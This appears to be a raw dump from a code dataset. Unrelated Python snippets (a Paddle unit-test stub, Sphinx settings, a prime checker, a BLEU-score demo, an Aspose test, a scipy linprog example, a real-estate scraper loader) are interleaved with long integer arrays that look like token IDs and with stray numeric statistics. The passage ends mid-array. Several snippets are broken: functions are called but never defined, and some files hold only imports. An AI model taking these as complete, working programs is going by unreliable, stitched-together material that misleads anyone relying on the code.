541, 7535, 2599, 198, 220, 220, 220, 37227, 8912, 2183, 18366, 37811, 198, 220, 220, 220, 1303, 383, 7559, 541, 7535, 15506, 4578, 318, 262, 3058, 4075, 198, 220, 220, 220, 1303, 1058, 4871, 25, 63, 9492, 5275, 23248, 63, 4554, 326, 460, 307, 973, 287, 597, 835, 13, 198, 220, 220, 220, 1303, 770, 3578, 345, 466, 284, 1243, 588, 7881, 649, 2153, 873, 11, 20652, 393, 198, 220, 220, 220, 1303, 47217, 13, 198, 220, 220, 220, 1388, 7, 541, 7535, 8, 198 ]
2.283252
3,075
# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function import unittest import contextlib import numpy as np import paddle.fluid as fluid import paddle.fluid.core as core from simple_nets import init_data, simple_fc_net, fc_with_batchnorm import seresnext_net from test_parallel_executor_transformer import transformer, get_feed_data_reader from fake_reader import fake_imdb_reader if __name__ == '__main__': unittest.main()
[ 2, 220, 220, 15069, 357, 66, 8, 13130, 350, 37382, 47, 37382, 46665, 13, 1439, 6923, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 198, 11748, 555, 715, 395, 198, 198, 11748, 4732, 8019, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 39517, 13, 35522, 312, 355, 11711, 198, 11748, 39517, 13, 35522, 312, 13, 7295, 355, 4755, 198, 6738, 2829, 62, 45938, 1330, 2315, 62, 7890, 11, 2829, 62, 16072, 62, 3262, 11, 277, 66, 62, 4480, 62, 43501, 27237, 198, 11748, 384, 411, 19545, 62, 3262, 198, 6738, 1332, 62, 1845, 29363, 62, 18558, 38409, 62, 7645, 16354, 1330, 47385, 11, 651, 62, 12363, 62, 7890, 62, 46862, 198, 6738, 8390, 62, 46862, 1330, 8390, 62, 320, 9945, 62, 46862, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
3.506803
294
import sys, os # -- General configuration ----------------------------------------------------- extensions = ['sphinx.ext.todo'] source_suffix = '.rst' source_encoding = 'utf-8' master_doc = 'index' project = u'spray' copyright = u'2011-2012 spray.cc.' version = '$VERSION$' release = '$VERSION$' exclude_patterns = [] # -- Options for HTML output --------------------------------------------------- html_theme = 'sprayed' html_theme_path = ["./_themes"] html_title = u'spray' html_logo = u'logo.png' html_static_path = [] html_use_smartypants = True html_add_permalinks = None htmlhelp_basename = 'spraydoc' todo_include_todos = True html_copy_source = False # -- Options for LaTeX output -------------------------------------------------- latex_elements = { 'papersize': 'a4paper', 'pointsize': '11pt', } latex_documents = [ ('index', 'spray.tex', u'spray Documentation', u'spray.cc', 'manual'), ]
[ 11748, 25064, 11, 28686, 198, 198, 2, 1377, 3611, 8398, 20368, 19351, 12, 198, 198, 2302, 5736, 796, 37250, 82, 746, 28413, 13, 2302, 13, 83, 24313, 20520, 198, 10459, 62, 37333, 844, 796, 45302, 81, 301, 6, 198, 10459, 62, 12685, 7656, 796, 705, 40477, 12, 23, 6, 198, 9866, 62, 15390, 796, 705, 9630, 6, 198, 16302, 796, 334, 338, 1050, 323, 6, 198, 22163, 4766, 796, 334, 6, 9804, 12, 6999, 11662, 13, 535, 2637, 198, 9641, 796, 705, 3, 43717, 3, 6, 198, 20979, 796, 705, 3, 43717, 3, 6, 198, 1069, 9152, 62, 33279, 82, 796, 17635, 198, 198, 2, 1377, 18634, 329, 11532, 5072, 20368, 1783, 6329, 198, 6494, 62, 43810, 796, 705, 34975, 16548, 6, 198, 6494, 62, 43810, 62, 6978, 796, 685, 1911, 47835, 1169, 6880, 8973, 198, 6494, 62, 7839, 796, 334, 338, 1050, 323, 6, 198, 6494, 62, 6404, 78, 796, 334, 6, 6404, 78, 13, 11134, 6, 198, 6494, 62, 12708, 62, 6978, 796, 17635, 198, 6494, 62, 1904, 62, 27004, 4464, 1187, 796, 6407, 198, 6494, 62, 2860, 62, 525, 7617, 2973, 796, 6045, 198, 6494, 16794, 62, 12093, 12453, 796, 705, 34975, 323, 15390, 6, 198, 83, 24313, 62, 17256, 62, 83, 375, 418, 796, 6407, 198, 6494, 62, 30073, 62, 10459, 796, 10352, 198, 198, 2, 1377, 18634, 329, 4689, 49568, 5072, 20368, 1783, 438, 198, 17660, 87, 62, 68, 3639, 796, 1391, 198, 220, 705, 40491, 1096, 10354, 705, 64, 19, 20189, 3256, 198, 220, 705, 4122, 7857, 10354, 705, 1157, 457, 3256, 198, 92, 198, 17660, 87, 62, 15390, 2886, 796, 685, 198, 220, 19203, 9630, 3256, 705, 34975, 323, 13, 16886, 3256, 334, 338, 1050, 323, 43925, 3256, 334, 338, 1050, 323, 13, 535, 3256, 705, 805, 723, 33809, 198, 60, 198 ]
3.043478
299
# Alexandra Macuga, 2019-03-26 # Write a program that asks the user to input a positive integer and tells the user whether or not the number is a prime. # Adapted from: https://web.microsoftstream.com/video/3ef695e3-9155-4487-b48e-0867834c76ad # Ask the user for a value of i (positive integer) i = int(input('Please enter a positive integer: ')) # For a number in a range from 2 to i (positive integer specified by user) for n in range(2, i): # Check if integer is divisible by a number from a range if i % n == 0: # If an integer is divisible by the number, print the specified message print('That is not a prime') # When the condition is true and the integer is divisible by at least one number, break the loop break # If the integer is not divisible by any number from a range else: # Loop fell through without finding a factor, print the specified message print('That is a prime.')
[ 2, 44075, 4100, 30302, 11, 13130, 12, 3070, 12, 2075, 198, 2, 19430, 257, 1430, 326, 7893, 262, 2836, 284, 5128, 257, 3967, 18253, 290, 4952, 262, 2836, 1771, 393, 407, 262, 1271, 318, 257, 6994, 13, 198, 2, 30019, 276, 422, 25, 3740, 1378, 12384, 13, 40485, 5532, 13, 785, 14, 15588, 14, 18, 891, 37381, 68, 18, 12, 24, 18742, 12, 2598, 5774, 12, 65, 2780, 68, 12, 2919, 30924, 2682, 66, 4304, 324, 198, 198, 2, 16981, 262, 2836, 329, 257, 1988, 286, 1312, 357, 24561, 18253, 8, 198, 72, 796, 493, 7, 15414, 10786, 5492, 3802, 257, 3967, 18253, 25, 705, 4008, 198, 198, 2, 1114, 257, 1271, 287, 257, 2837, 422, 362, 284, 1312, 357, 24561, 18253, 7368, 416, 2836, 8, 198, 1640, 299, 287, 2837, 7, 17, 11, 1312, 2599, 198, 220, 1303, 6822, 611, 18253, 318, 2659, 12843, 416, 257, 1271, 422, 257, 2837, 198, 220, 611, 1312, 4064, 299, 6624, 657, 25, 198, 220, 220, 220, 1303, 1002, 281, 18253, 318, 2659, 12843, 416, 262, 1271, 11, 3601, 262, 7368, 3275, 198, 220, 220, 220, 3601, 10786, 2504, 318, 407, 257, 6994, 11537, 198, 220, 220, 220, 1303, 1649, 262, 4006, 318, 2081, 290, 262, 18253, 318, 2659, 12843, 416, 379, 1551, 530, 1271, 11, 2270, 262, 9052, 198, 220, 220, 220, 2270, 198, 2, 1002, 262, 18253, 318, 407, 2659, 12843, 416, 597, 1271, 422, 257, 2837, 220, 198, 17772, 25, 198, 220, 1303, 26304, 3214, 832, 1231, 4917, 257, 5766, 11, 3601, 262, 7368, 3275, 198, 220, 3601, 10786, 2504, 318, 257, 6994, 2637, 8 ]
3.445283
265
import nltk import difflib from nltk.translate.bleu_score import SmoothingFunction smoothie = SmoothingFunction().method4 # The higher the better if __name__ == '__main__': hypothesis = 'It is a cat at the room' reference = 'It is a cat inside the room' print("Bleu:", get_bleu_score(hypothesis, reference)) print("Secquence:", get_sequence_matcher_score(hypothesis, reference)) print("Levenshtein:", get_levenshtein_score(hypothesis, reference))
[ 11748, 299, 2528, 74, 198, 11748, 814, 8019, 198, 6738, 299, 2528, 74, 13, 7645, 17660, 13, 903, 84, 62, 26675, 1330, 2439, 1025, 722, 22203, 198, 198, 5796, 5226, 494, 796, 2439, 1025, 722, 22203, 22446, 24396, 19, 628, 198, 2, 383, 2440, 262, 1365, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 14078, 796, 705, 1026, 318, 257, 3797, 379, 262, 2119, 6, 198, 220, 220, 220, 4941, 796, 705, 1026, 318, 257, 3797, 2641, 262, 2119, 6, 628, 220, 220, 220, 3601, 7203, 43413, 84, 25, 1600, 651, 62, 903, 84, 62, 26675, 7, 36362, 313, 8497, 11, 4941, 4008, 198, 220, 220, 220, 3601, 7203, 6558, 421, 594, 25, 1600, 651, 62, 43167, 62, 6759, 2044, 62, 26675, 7, 36362, 313, 8497, 11, 4941, 4008, 198, 220, 220, 220, 3601, 7203, 3123, 574, 1477, 22006, 25, 1600, 651, 62, 293, 574, 1477, 22006, 62, 26675, 7, 36362, 313, 8497, 11, 4941, 4008, 198 ]
2.861446
166
# coding: utf-8 """ Aspose.Diagram Cloud API Reference No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 3.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import #from asposediagramcloud.apis.diagram_api import DiagramApi #from asposediagramcloud.rest import ApiException #import asposediagramcloud import os import sys import unittest import test_base from asposediagramcloud.models import * ABSPATH = os.path.abspath(os.path.realpath(os.path.dirname(__file__)) + "/..") sys.path.append(ABSPATH) localtestFile = "testData/FileUpload.vdx" storageTestFOLDER = "SDKTests\\Python" fileName="pageTest.vsdx" class TestPage(unittest.TestCase): """ DiagramApi unit test stubs """ def test_create_new(self): """ Test case for create_new Create Empty file into the specified format. """ folder = storageTestFOLDER is_overwrite = "true" result = self.api.create_new(fileName, folder=folder, is_overwrite=is_overwrite) self.assertIsNotNone(result.created, 'Error has occurred while create file') pass if __name__ == '__main__': unittest.main()
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 37811, 198, 220, 220, 220, 1081, 3455, 13, 18683, 6713, 10130, 7824, 20984, 628, 220, 220, 220, 1400, 6764, 2810, 357, 27568, 416, 2451, 7928, 6127, 5235, 3740, 1378, 12567, 13, 785, 14, 2032, 7928, 12, 15042, 14, 2032, 7928, 12, 8189, 5235, 8, 628, 220, 220, 220, 4946, 17614, 1020, 2196, 25, 513, 13, 15, 198, 220, 220, 220, 220, 198, 220, 220, 220, 2980, 515, 416, 25, 3740, 1378, 12567, 13, 785, 14, 2032, 7928, 12, 15042, 14, 2032, 7928, 12, 8189, 5235, 13, 18300, 198, 37811, 628, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 198, 2, 6738, 355, 29813, 72, 6713, 17721, 13, 499, 271, 13, 10989, 6713, 62, 15042, 1330, 6031, 6713, 32, 14415, 198, 2, 6738, 355, 29813, 72, 6713, 17721, 13, 2118, 1330, 5949, 72, 16922, 198, 2, 11748, 355, 29813, 72, 6713, 17721, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 555, 715, 395, 198, 11748, 1332, 62, 8692, 198, 198, 6738, 355, 29813, 72, 6713, 17721, 13, 27530, 1330, 1635, 198, 198, 6242, 4303, 12599, 796, 28686, 13, 6978, 13, 397, 2777, 776, 7, 418, 13, 6978, 13, 5305, 6978, 7, 418, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 4008, 1343, 12813, 492, 4943, 198, 17597, 13, 6978, 13, 33295, 7, 6242, 4303, 12599, 8, 198, 198, 17946, 2501, 395, 8979, 796, 366, 9288, 6601, 14, 8979, 41592, 13, 20306, 87, 1, 198, 35350, 14402, 37, 3535, 14418, 796, 366, 10305, 42176, 3558, 6852, 37906, 1, 198, 7753, 5376, 2625, 7700, 14402, 13, 14259, 34350, 1, 628, 198, 4871, 6208, 9876, 7, 403, 715, 395, 13, 14402, 20448, 2599, 198, 220, 220, 220, 37227, 6031, 6713, 32, 14415, 4326, 1332, 17071, 82, 37227, 628, 220, 220, 220, 825, 1332, 62, 17953, 62, 3605, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 6208, 1339, 329, 2251, 62, 3605, 628, 220, 220, 220, 220, 220, 220, 220, 13610, 33523, 2393, 656, 262, 7368, 5794, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 9483, 796, 6143, 14402, 37, 3535, 14418, 198, 220, 220, 220, 220, 220, 220, 220, 318, 62, 2502, 13564, 796, 366, 7942, 1, 198, 220, 220, 220, 220, 220, 220, 220, 1255, 796, 2116, 13, 15042, 13, 17953, 62, 3605, 7, 7753, 5376, 11, 9483, 28, 43551, 11, 318, 62, 2502, 13564, 28, 271, 62, 2502, 13564, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 30493, 3792, 3673, 14202, 7, 20274, 13, 25598, 11, 705, 12331, 468, 5091, 981, 2251, 2393, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1208, 628, 220, 220, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
2.654959
484
# Simple python implementation of creating a pandas data frame with word vectors import pandas as pd from collections import Counter sayings = [ "Rose is a rose is a rose is a rose.", "We are going to need a bigger boat.", "Huston, we have a problem" ] unique_words = set() for saying in sayings: unique_words |= set(saying.split()) all_rows = {} row_number = 0 for saying in sayings: word_vector = {} frequencies = Counter(saying.split()) for word in unique_words: if word in frequencies.keys(): word_vector[word] = frequencies[word] else: word_vector[word] = 0 all_rows[row_number] = word_vector row_number += 1 data_frame = pd.DataFrame.from_dict(all_rows, orient='index') print(data_frame)
[ 2, 17427, 21015, 7822, 286, 4441, 257, 19798, 292, 1366, 5739, 351, 1573, 30104, 198, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 17268, 1330, 15034, 198, 198, 16706, 654, 796, 685, 198, 220, 220, 220, 366, 31087, 318, 257, 8278, 318, 257, 8278, 318, 257, 8278, 33283, 198, 220, 220, 220, 366, 1135, 389, 1016, 284, 761, 257, 5749, 8848, 33283, 198, 220, 220, 220, 366, 39, 436, 261, 11, 356, 423, 257, 1917, 1, 198, 60, 198, 198, 34642, 62, 10879, 796, 900, 3419, 198, 1640, 2282, 287, 910, 654, 25, 198, 220, 220, 220, 3748, 62, 10879, 930, 28, 900, 7, 82, 8369, 13, 35312, 28955, 198, 198, 439, 62, 8516, 796, 23884, 198, 808, 62, 17618, 796, 657, 198, 1640, 2282, 287, 910, 654, 25, 198, 220, 220, 220, 1573, 62, 31364, 796, 23884, 198, 220, 220, 220, 19998, 796, 15034, 7, 82, 8369, 13, 35312, 28955, 198, 220, 220, 220, 329, 1573, 287, 3748, 62, 10879, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1573, 287, 19998, 13, 13083, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1573, 62, 31364, 58, 4775, 60, 796, 19998, 58, 4775, 60, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1573, 62, 31364, 58, 4775, 60, 796, 657, 198, 220, 220, 220, 477, 62, 8516, 58, 808, 62, 17618, 60, 796, 1573, 62, 31364, 198, 220, 220, 220, 5752, 62, 17618, 15853, 352, 198, 198, 7890, 62, 14535, 796, 279, 67, 13, 6601, 19778, 13, 6738, 62, 11600, 7, 439, 62, 8516, 11, 11367, 11639, 9630, 11537, 198, 4798, 7, 7890, 62, 14535, 8, 198 ]
2.690972
288
from django_jinja import library from mozillians.announcements.models import Announcement @library.global_function def latest_announcement(): """Return the latest published announcement or None.""" if Announcement.objects.published().count(): return Announcement.objects.published().latest() return None
[ 6738, 42625, 14208, 62, 18594, 6592, 1330, 5888, 198, 198, 6738, 6941, 89, 359, 1547, 13, 1236, 8652, 902, 13, 27530, 1330, 43470, 434, 628, 198, 31, 32016, 13, 20541, 62, 8818, 198, 4299, 3452, 62, 1236, 8652, 434, 33529, 198, 220, 220, 220, 37227, 13615, 262, 3452, 3199, 8009, 393, 6045, 526, 15931, 628, 220, 220, 220, 611, 43470, 434, 13, 48205, 13, 30271, 22446, 9127, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 43470, 434, 13, 48205, 13, 30271, 22446, 42861, 3419, 198, 220, 220, 220, 1441, 6045, 198 ]
3.526882
93
import datetime import time from fedot.core.optimisers.timer import OptimisationTimer from fedot.core.pipelines.tuning.timer import TunerTimer
[ 11748, 4818, 8079, 198, 11748, 640, 198, 198, 6738, 11672, 313, 13, 7295, 13, 40085, 21572, 13, 45016, 1330, 30011, 5612, 48801, 198, 6738, 11672, 313, 13, 7295, 13, 79, 541, 20655, 13, 28286, 278, 13, 45016, 1330, 13932, 263, 48801, 628, 198 ]
3.395349
43
import typing as tp from abc import ABCMeta, abstractmethod from smok.predicate.event import Event
[ 11748, 19720, 355, 256, 79, 198, 6738, 450, 66, 1330, 9738, 48526, 11, 12531, 24396, 198, 198, 6738, 895, 482, 13, 28764, 5344, 13, 15596, 1330, 8558, 628, 198 ]
3.517241
29
from scipy.optimize import linprog import numpy as np # Objective function z = np.array([300,500,200]) expense = 75000 # Constraints C = np.array([ [ 10, 7.5, 4], #C1 [ 0, 10, 0], #C2 [0.5, 0.4, 0.5], #C3 [ 0, 0.4, 0], #C4 [0.5, 0.1, 0.5], #C5 [0.4, 0.2, 0.4], #C6 [ 1, 1.5, 0.5], #C7 [ 1, 0, 0], #C8 [ 0, 1, 0], #C9 [ 0, 0, 1] #C10 ]) b = np.array([4350, 2500, 280, 140, 280, 140, 700, 300, 180, 400]) # Bounds x1 = (0, None) x2 = (0, None) x3 = (0, None) #Solution sol = linprog(-z, A_ub = C, b_ub = b, bounds = (x1, x2, x3), method='simplex') #Profit Monthly. profit = (sol.fun*-1) - expense print(f"x1 = {sol.x[0]}, x2 = {sol.x[1]}, x3 = {sol.x[2]}, z = {profit}")
[ 6738, 629, 541, 88, 13, 40085, 1096, 1330, 9493, 1676, 70, 198, 11748, 299, 32152, 355, 45941, 198, 198, 2, 37092, 2163, 198, 89, 796, 45941, 13, 18747, 26933, 6200, 11, 4059, 11, 2167, 12962, 198, 11201, 1072, 796, 5441, 830, 198, 198, 2, 1482, 2536, 6003, 198, 34, 796, 45941, 13, 18747, 26933, 198, 220, 220, 220, 685, 838, 11, 767, 13, 20, 11, 220, 220, 604, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 16, 198, 220, 220, 220, 685, 220, 657, 11, 220, 838, 11, 220, 220, 657, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 17, 198, 220, 220, 220, 685, 15, 13, 20, 11, 657, 13, 19, 11, 657, 13, 20, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 18, 198, 220, 220, 220, 685, 220, 657, 11, 657, 13, 19, 11, 220, 220, 657, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 19, 198, 220, 220, 220, 685, 15, 13, 20, 11, 657, 13, 16, 11, 657, 13, 20, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 20, 198, 220, 220, 220, 685, 15, 13, 19, 11, 657, 13, 17, 11, 657, 13, 19, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 21, 198, 220, 220, 220, 685, 220, 352, 11, 352, 13, 20, 11, 657, 13, 20, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 22, 198, 220, 220, 220, 685, 220, 352, 11, 220, 220, 657, 11, 220, 220, 657, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 23, 198, 220, 220, 220, 685, 220, 657, 11, 220, 220, 352, 11, 220, 220, 657, 4357, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 24, 198, 220, 220, 220, 685, 220, 657, 11, 220, 220, 657, 11, 220, 220, 352, 60, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 34, 940, 198, 12962, 198, 198, 65, 796, 45941, 13, 18747, 26933, 3559, 1120, 11, 33507, 11, 21355, 11, 12713, 11, 21355, 11, 12713, 11, 13037, 11, 5867, 11, 11546, 11, 7337, 12962, 198, 198, 2, 347, 3733, 198, 87, 16, 796, 357, 15, 11, 6045, 8, 198, 87, 17, 796, 357, 15, 11, 6045, 8, 198, 87, 18, 796, 357, 15, 11, 6045, 8, 198, 198, 2, 46344, 198, 34453, 796, 9493, 1676, 70, 32590, 89, 11, 317, 62, 549, 796, 327, 11, 275, 62, 549, 796, 275, 11, 22303, 796, 357, 87, 16, 11, 2124, 17, 11, 2124, 18, 828, 2446, 11639, 14323, 11141, 11537, 198, 198, 2, 2964, 11147, 27573, 13, 198, 9183, 796, 357, 34453, 13, 12543, 9, 12, 16, 8, 532, 10907, 198, 198, 4798, 7, 69, 1, 87, 16, 796, 1391, 34453, 13, 87, 58, 15, 60, 5512, 2124, 17, 796, 1391, 34453, 13, 87, 58, 16, 60, 5512, 2124, 18, 796, 1391, 34453, 13, 87, 58, 17, 60, 5512, 1976, 796, 1391, 9183, 92, 4943 ]
1.668724
486
""" Exposing concrete items dynamically. Makes it possible to add support for a new website just by creating a new Python module under this package, and declaring a concrete implementation for ``RealEstateHomePage``, ``RealEstateListPage`` and ``RealEstatePage``. """ import importlib.util import inspect import pkgutil from pathlib import Path from typing import Dict, List, Tuple, Type, TypeVar from loguru import logger from web_poet import WebPage # type: ignore from real_estate_scrapers.items import RealEstateHomePage, RealEstateListPage, RealEstatePage T = TypeVar("T", bound=WebPage) def _get_concrete_class(class_tuples: List[Tuple[str, Type[T]]], abstract_class: Type[T]) -> Type[T]: """ Returns the concrete implementation of the specified ``abstract_class``, choosing from ``class_tuples``. ``class_tuples`` can be easily obtained by invoking: >>> inspect.getmembers(module, inspect.isclass) Args: class_tuples: List of tuples of the form (module_name, class_name) abstract_class: The abstract class whose concrete implementation is to be found. Returns: The concrete implementation of the specified ``abstract_class``. Always the first match gets returned. Raises: ``ValueError`` if no concrete implementation is found. """ for _, cls in class_tuples: if issubclass(cls, abstract_class) and cls is not abstract_class: return cls raise ValueError(f"No concrete implementation found for {abstract_class.__name__}") # Used to have a grouping of URLs per page, so that request types can be specified dynamically (e.g. Selenium or plain) _start_url_dict: Dict[Type[RealEstateHomePage], List[str]] = {} # Will be assigned to the ``SCRAPY_POET_OVERRIDES`` class variable in the ``RealEstateSpider`` _scrapy_poet_overrides: Dict[str, Dict[Type[WebPage], Type[WebPage]]] = {} # Loading concrete implementations from the file system automagically _dirpath = Path(__file__).parent # Iterates over each module in this package # and registers the concrete crawling logic implementations for module_info in pkgutil.iter_modules([str(_dirpath)]): # Load module which declares concrete implementation # for ``RealEstateListPage`` and ``RealEstatePage`` full_module_name = f"{__package__}.{module_info.name}" full_module_path = _dirpath / f"{module_info.name}.py" spec = importlib.util.spec_from_file_location(full_module_name, str(full_module_path)) module = importlib.util.module_from_spec(spec) # type: ignore spec.loader.exec_module(module) # type: ignore # Extract classes classes = inspect.getmembers(module, inspect.isclass) home_page_class: Type[RealEstateHomePage] = _get_concrete_class(classes, RealEstateHomePage) if not home_page_class.should_scrape(): logger.debug(f"Skipping registration of {home_page_class.domain()}, as ``should_scrape`` returned False.") continue list_page_class: Type[RealEstateListPage] = _get_concrete_class(classes, RealEstateListPage) page_class: Type[RealEstatePage] = _get_concrete_class(classes, RealEstatePage) domain_specific_overrides = { RealEstateHomePage: home_page_class, RealEstateListPage: list_page_class, RealEstatePage: page_class, } # Sets the override dict in ``SCRAPY_OVERRIDES`` so that ``scrapy_poet.InjectionMiddleware`` can inject the proper # concrete implementation for each page type on a per-domain basis domain = home_page_class.domain() _scrapy_poet_overrides[domain] = domain_specific_overrides logger.debug(f"Registered overrides for {domain}: {domain_specific_overrides}") # Register the static (hard-coded) start urls for this domain, # to be used as entrypoint(s) to scrape urls to ``RealEstateListPage``s _start_url_dict[home_page_class] = home_page_class.start_urls() logger.info(f"Loaded {full_module_name} for {domain}") def get_scrapy_poet_overrides() -> Dict[str, Dict[Type[WebPage], Type[WebPage]]]: """ Returns: Configuration to override the exact ``RealEstateListPage`` and ``RealEstatePage`` implementation dynamically based on the scraped domain. """ return _scrapy_poet_overrides def get_start_urls() -> List[str]: """ Returns: The start urls for the scrapy crawler. """ return [url for url_list in _start_url_dict.values() for url in url_list] def get_start_url_dict() -> Dict[Type[RealEstateHomePage], List[str]]: """ Returns: The start urls for the scrapy crawler, grouped by subclasses of ``RealEstateListPage``. """ return _start_url_dict
[ 37811, 198, 3109, 32927, 10017, 3709, 32366, 13, 198, 44, 1124, 340, 1744, 284, 751, 1104, 329, 257, 649, 3052, 655, 416, 198, 20123, 278, 257, 649, 11361, 8265, 739, 428, 5301, 11, 290, 18684, 198, 64, 10017, 7822, 329, 7559, 15633, 36, 5219, 16060, 9876, 15506, 11, 7559, 15633, 36, 5219, 8053, 9876, 15506, 290, 7559, 15633, 36, 5219, 9876, 15506, 13, 198, 37811, 198, 11748, 1330, 8019, 13, 22602, 198, 11748, 10104, 198, 11748, 279, 10025, 22602, 198, 6738, 3108, 8019, 1330, 10644, 198, 6738, 19720, 1330, 360, 713, 11, 7343, 11, 309, 29291, 11, 5994, 11, 5994, 19852, 198, 198, 6738, 2604, 14717, 1330, 49706, 198, 6738, 3992, 62, 7501, 316, 1330, 5313, 9876, 220, 1303, 2099, 25, 8856, 198, 198, 6738, 1103, 62, 44146, 62, 1416, 2416, 364, 13, 23814, 1330, 6416, 36, 5219, 16060, 9876, 11, 6416, 36, 5219, 8053, 9876, 11, 6416, 36, 5219, 9876, 198, 198, 51, 796, 5994, 19852, 7203, 51, 1600, 5421, 28, 13908, 9876, 8, 628, 198, 4299, 4808, 1136, 62, 1102, 38669, 62, 4871, 7, 4871, 62, 28047, 2374, 25, 7343, 58, 51, 29291, 58, 2536, 11, 5994, 58, 51, 11907, 4357, 12531, 62, 4871, 25, 5994, 58, 51, 12962, 4613, 5994, 58, 51, 5974, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 262, 10017, 7822, 286, 262, 7368, 7559, 397, 8709, 62, 4871, 15506, 11, 11236, 422, 7559, 4871, 62, 28047, 2374, 15506, 13, 628, 220, 220, 220, 7559, 4871, 62, 28047, 2374, 15506, 460, 307, 3538, 6492, 416, 39744, 25, 628, 220, 220, 220, 13163, 10104, 13, 1136, 30814, 7, 21412, 11, 10104, 13, 271, 4871, 8, 628, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1398, 62, 28047, 2374, 25, 7343, 286, 12777, 2374, 286, 262, 1296, 357, 21412, 62, 3672, 11, 1398, 62, 3672, 8, 198, 220, 220, 220, 220, 220, 220, 220, 12531, 62, 4871, 25, 383, 12531, 1398, 3025, 10017, 7822, 318, 284, 307, 1043, 13, 628, 220, 220, 220, 16409, 25, 383, 10017, 7822, 286, 262, 7368, 7559, 397, 8709, 62, 4871, 15506, 13, 16622, 262, 717, 2872, 3011, 4504, 13, 628, 220, 220, 220, 7567, 2696, 25, 7559, 11395, 12331, 15506, 611, 645, 10017, 7822, 318, 1043, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 329, 4808, 11, 537, 82, 287, 1398, 62, 28047, 2374, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1189, 549, 4871, 7, 565, 82, 11, 12531, 62, 4871, 8, 290, 537, 82, 318, 407, 12531, 62, 4871, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 537, 82, 198, 220, 220, 220, 5298, 11052, 12331, 7, 69, 1, 2949, 10017, 7822, 1043, 329, 1391, 397, 8709, 62, 4871, 13, 834, 3672, 834, 92, 4943, 628, 198, 2, 16718, 284, 423, 257, 36115, 286, 32336, 583, 2443, 11, 523, 326, 2581, 3858, 460, 307, 7368, 32366, 357, 68, 13, 70, 13, 15300, 47477, 393, 8631, 8, 198, 62, 9688, 62, 6371, 62, 11600, 25, 360, 713, 58, 6030, 58, 15633, 36, 5219, 16060, 9876, 4357, 7343, 58, 2536, 11907, 796, 23884, 198, 198, 2, 2561, 307, 8686, 284, 262, 7559, 6173, 49, 2969, 56, 62, 16402, 2767, 62, 41983, 49, 42538, 15506, 1398, 7885, 287, 262, 7559, 15633, 36, 5219, 41294, 15506, 198, 62, 1416, 2416, 88, 62, 7501, 316, 62, 2502, 81, 1460, 25, 360, 713, 58, 2536, 11, 360, 713, 58, 6030, 58, 13908, 9876, 4357, 5994, 58, 13908, 9876, 11907, 60, 796, 23884, 198, 198, 2, 12320, 10017, 25504, 422, 262, 2393, 